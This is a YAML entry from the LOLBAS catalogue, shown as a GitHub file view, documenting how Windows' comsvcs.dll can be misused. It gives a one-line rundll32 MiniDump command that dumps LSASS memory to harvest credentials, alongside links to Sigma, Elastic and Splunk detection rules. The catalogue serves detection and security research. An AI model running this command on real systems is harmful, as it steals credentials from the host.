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https://github.com/LOLBAS-Project/LOLBAS
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23dd0236ae
* Add detection links for scripts * Add detection links for OtherMSBins. Fixed and updated as needed. * Add detection links for MSBins. Fixed and updated as needed. * Add detection links for oslibraries * Updating template for Detections * Removing empty Detection:Sigma entries * Remove redundant blank line * Replacing commit URL with file URL Co-authored-by: root <root@DESKTOP-5CR935D.localdomain> Co-authored-by: Wietze <wietze@users.noreply.github.com>
30 lines
1.5 KiB
YAML
30 lines
1.5 KiB
YAML
---
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Name: Comsvcs.dll
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Description: COM+ Services
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Author:
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Created: 2019-08-30
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Commands:
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- Command: rundll32 C:\windows\system32\comsvcs.dll MiniDump "[LSASS_PID] dump.bin full"
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Description: Calls the MiniDump exported function of comsvcs.dll, which in turns calls MiniDumpWriteDump.
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Usecase: Dump Lsass.exe process memory to retrieve credentials.
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Category: Dump
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Privileges: SYSTEM
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MitreID: T1003.001
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OperatingSystem: Windows
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Full_Path:
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- Path: c:\windows\system32\comsvcs.dll
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Code_Sample:
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- Code: https://modexp.wordpress.com/2019/08/30/minidumpwritedump-via-com-services-dll/
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Detection:
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- Sigma: https://github.com/SigmaHQ/sigma/blob/1ff5e226ad8bed34916c16ccc77ba281ca3203ae/rules/windows/process_creation/win_process_dump_rundll32_comsvcs.yml
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- Sigma: https://github.com/SigmaHQ/sigma/blob/b81839e3ce507df925d6e583e569e1ac3a3894ab/rules/windows/process_access/sysmon_lsass_dump_comsvcs_dll.yml
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- Sigma: https://github.com/SigmaHQ/sigma/blob/08ca62cc8860f4660e945805d0dd615ce75258c1/rules/windows/process_creation/win_susp_comsvcs_procdump.yml
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- Elastic: https://github.com/elastic/detection-rules/blob/5bdf70e72c6cd4547624c521108189af994af449/rules/windows/credential_access_cmdline_dump_tool.toml
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- Splunk: https://github.com/splunk/security_content/blob/86a5b644a44240f01274c8b74d19a435c7dae66e/detections/endpoint/dump_lsass_via_comsvcs_dll.yml
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Resources:
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- Link: https://modexp.wordpress.com/2019/08/30/minidumpwritedump-via-com-services-dll/
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Acknowledgement:
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- Person: modexp
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Handle:
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---
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